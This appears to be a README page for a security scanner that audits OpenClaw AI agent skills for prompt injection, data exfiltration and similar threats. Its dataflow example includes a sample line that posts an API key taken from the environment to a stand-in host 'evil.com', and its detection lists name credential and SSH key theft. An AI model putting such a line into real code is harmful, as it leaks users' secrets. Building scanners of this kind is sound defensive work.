Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill:

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

Audit all your installed skills:

node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard will:

Detect your OS (Windows, macOS, Linux)
Check Python availability (required for AST analysis)
Offer to install tree-sitter for dataflow analysis
Configure auto-scan on skill installation
Save preferences to
```
~/.openclaw/skill-auditor.json
```

Setup Commands

node scripts/setup.js           # Interactive setup wizard
node scripts/setup.js --status  # Show current configuration
node scripts/setup.js --enable-ast  # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once:

node scripts/audit-installed.js

Options:

node scripts/audit-installed.js --severity critical  # Only critical issues
node scripts/audit-installed.js --json               # Save results to audit-results.json
node scripts/audit-installed.js --verbose            # Show top findings per skill

Output:

Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
Summary stats (total scanned, by risk level)
Detailed list of high-risk skills with capabilities

Cross-Platform Installation

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages.

Platform Python Install Tree-sitter Install

Windows

Pre-installed or

winget install Python.Python.3

pip install tree-sitter tree-sitter-python

macOS

Pre-installed or

brew install python3

pip3 install tree-sitter tree-sitter-python

Linux

apt install python3-pip

pip3 install tree-sitter tree-sitter-python

Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available)

Static Pattern Analysis — Regex-based detection of 40+ threat patterns
Intent Matching — Contextual analysis against skill's stated purpose
Accuracy Scoring — Rates how well behavior matches description (1-10)
Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
Remote Scanning — Works with GitHub URLs (via scan-url.js)
Visual Reports — Human-readable threat summaries

Advanced Features (Optional)

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths

npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict

What it detects:

Environment variables → Network requests
File reads → HTTP posts
Memory file access → External APIs
Cross-function data flows

Example:

# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')
File 2: main.py
key = get_secrets()
requests.post('evil.com', data=key)  # ← Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines

export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal

Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.

Output includes:

Malware detection status
Engine consensus (e.g., "3/70 engines flagged")
Direct VirusTotal report links
SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent

# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm

How it works:

Groups findings by category
Asks LLM: "Does this behavior match the skill's description?"
Adjusts severity based on semantic understanding
Provides confidence ratings

Example:

Finding: "Accesses MEMORY.md"
Skill says: "Optimizes agent memory usage"
LLM verdict: "LEGITIMATE — directly supports stated purpose"
Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

GitHub Code Scanning compatible format

node scripts/scan-skill.js <skill> --format sarif --fail-on-findings

GitHub integration:

# .github/workflows/skill-scan.yml
- name: Scan Skills
  run: |
    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
      --format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels

--mode strict      # All patterns, higher false positives
--mode balanced    # Default, optimized accuracy  
--mode permissive  # Only critical patterns

Usage Examples

Basic Scanning

# Scan local skill
node scripts/scan-skill.js ../my-skill
Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json
Format visual report

node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --format sarif \
  --json full-report.sarif
CI/CD integration

node scripts/scan-skill.js ../my-skill 

--format sarif 

--fail-on-findings 

--mode balanced

Remote Scanning

# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json

Installation Options

Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor
Install all optional features
npm install
Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)
VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"
LLM analysis requires OpenClaw gateway:

openclaw gateway start

What Gets Detected

Core Threat Categories

Prompt Injection — AI instruction manipulation attempts
Data Exfiltration — Unauthorized data transmission
Sensitive File Access — MEMORY.md, credentials, SSH keys
Shell Execution — Command injection, arbitrary code execution
Path Traversal — Directory escape attacks
Obfuscation — Hidden/encoded content
Persistence — System modification for permanent access
Privilege Escalation — Browser automation, device access

OpenClaw-Specific Patterns

Memory File Writes — Persistence via MEMORY.md, AGENTS.md
Session Tool Abuse — Data exfiltration via sessions_send
Gateway Control — config.patch, restart commands
Node Device Access — camera_snap, screen_record, location_get

Advanced Detection (with optional features)

Python Dataflow — Variable tracking across functions/files
Binary Malware — Known malicious executables via VirusTotal
Semantic Intent — LLM-based behavior vs. description analysis

Output Formats

1. JSON (Default)

{
  "skill": { "name": "example", "description": "..." },
  "riskLevel": "HIGH", 
  "accuracyScore": { "score": 7, "reason": "..." },
  "findings": [...],
  "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}

2. SARIF (GitHub Code Scanning)

--format sarif

Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json

Human-readable summary with threat gauge and actionable findings.

Configuration

Environment Variables

VIRUSTOTAL_API_KEY="vt-key"     # VirusTotal integration
DEBUG="1"                       # Verbose error output

Command Line Options

--json <file>         # JSON output file
--format sarif        # SARIF output for GitHub
--mode <mode>         # strict|balanced|permissive  
--use-virustotal     # Enable binary scanning
--use-llm           # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings  # Exit code 1 for HIGH/CRITICAL
--help              # Show all options

Architecture Overview

skill-auditor/
├── scripts/
│   ├── scan-skill.js         # Main scanner (v2.0)
│   ├── scan-url.js           # Remote GitHub scanning  
│   ├── format-report.js      # Visual report formatter
│   ├── analyzers/            # Pluggable analysis engines
│   │   ├── static.js         # Core regex patterns (zero-dep)
│   │   ├── ast-python.js     # Python dataflow analysis
│   │   ├── virustotal.js     # Binary malware scanning
│   │   └── llm-semantic.js   # AI-powered intent analysis
│   └── utils/
│       └── sarif.js          # GitHub Code Scanning output
├── rules/
│   └── default.yar           # YARA format patterns
├── package.json              # Optional dependencies
└── references/              # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged:

node scan-skill.js <skill-dir>                    # ✅ Works
node scan-skill.js <skill-dir> --json out.json    # ✅ Works  
node format-report.js out.json                    # ✅ Works

New v2.0 features are opt-in:

node scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced
node scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced

Limitations

Core Scanner

Novel obfuscation — New encoding techniques not yet in patterns
Binary analysis — Skips binary files unless VirusTotal enabled
Sophisticated prompt injection — Advanced manipulation techniques may evade regex

Optional Features

Python AST — Limited to Python files, basic dataflow only
VirusTotal — Rate limited (500 queries/day free tier)
LLM Analysis — Requires internet connection and OpenClaw gateway
YARA Rules — Framework ready but custom rules not fully implemented

Troubleshooting

Common Issues

"tree-sitter dependencies not available"

npm install tree-sitter tree-sitter-python

"VirusTotal API error: 403"

export VIRUSTOTAL_API_KEY="your-actual-key"

"LLM semantic analysis failed"

# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health

"SARIF output not generated"

# Ensure all dependencies installed:
cd skills/skill-auditor && npm install

Debug Mode

DEBUG=1 node scripts/scan-skill.js <skill>

Contributing

Adding New Patterns

Static patterns → Edit
```
scripts/analyzers/static.js
```
YARA rules → Add to
```
rules/
```
directory
Python dataflow → Extend
```
scripts/analyzers/ast-python.js
```

Testing New Features

# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal  
node scripts/scan-skill.js ../secure-browser-agent --format sarif

Security Note

This scanner is one layer of defense, not a guarantee. Always:

Review code manually for novel attacks
Re-scan after skill updates
Use multiple security tools
Trust but verify — especially for high-privilege skills

For sensitive environments, enable all advanced features:

node scripts/scan-skill.js <skill> \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --fail-on-findings

Skill Auditor

AI Skill Market Insights

Be Part of the 0+ Developer Community

Skill Auditor v2.1

After Installing

Quick Start

Setup Wizard (Recommended)

Setup Commands

Audit All Installed Skills

Cross-Platform Installation

Core Scanner (No Dependencies)

AST Analysis (Optional)

Core Features (Always Available)

Advanced Features (Optional)

1. Python AST Dataflow Analysis

File 2: main.py

2. VirusTotal Binary Scanning

3. LLM Semantic Analysis

4. SARIF Output for CI/CD

5. Detection Modes

Usage Examples

Basic Scanning

Scan with JSON output

Format visual report

Advanced Scanning

CI/CD integration

Remote Scanning

Installation Options

Zero Dependencies (Recommended for CI)

Optional Advanced Features

Install all optional features

Or install selectively:

VirusTotal requires API key only:

LLM analysis requires OpenClaw gateway:

What Gets Detected

Core Threat Categories

OpenClaw-Specific Patterns

Advanced Detection (with optional features)

Output Formats

1. JSON (Default)

2. SARIF (GitHub Code Scanning)

3. Visual Report

Configuration

Environment Variables

Command Line Options

Architecture Overview

Backward Compatibility

Limitations

Core Scanner

Optional Features

Troubleshooting

Common Issues

Debug Mode

Contributing

Adding New Patterns

Testing New Features

Security Note

Quick Start

Manual Installation

TEAR & SHARE

Tags

Channels

Learn

Compare

Company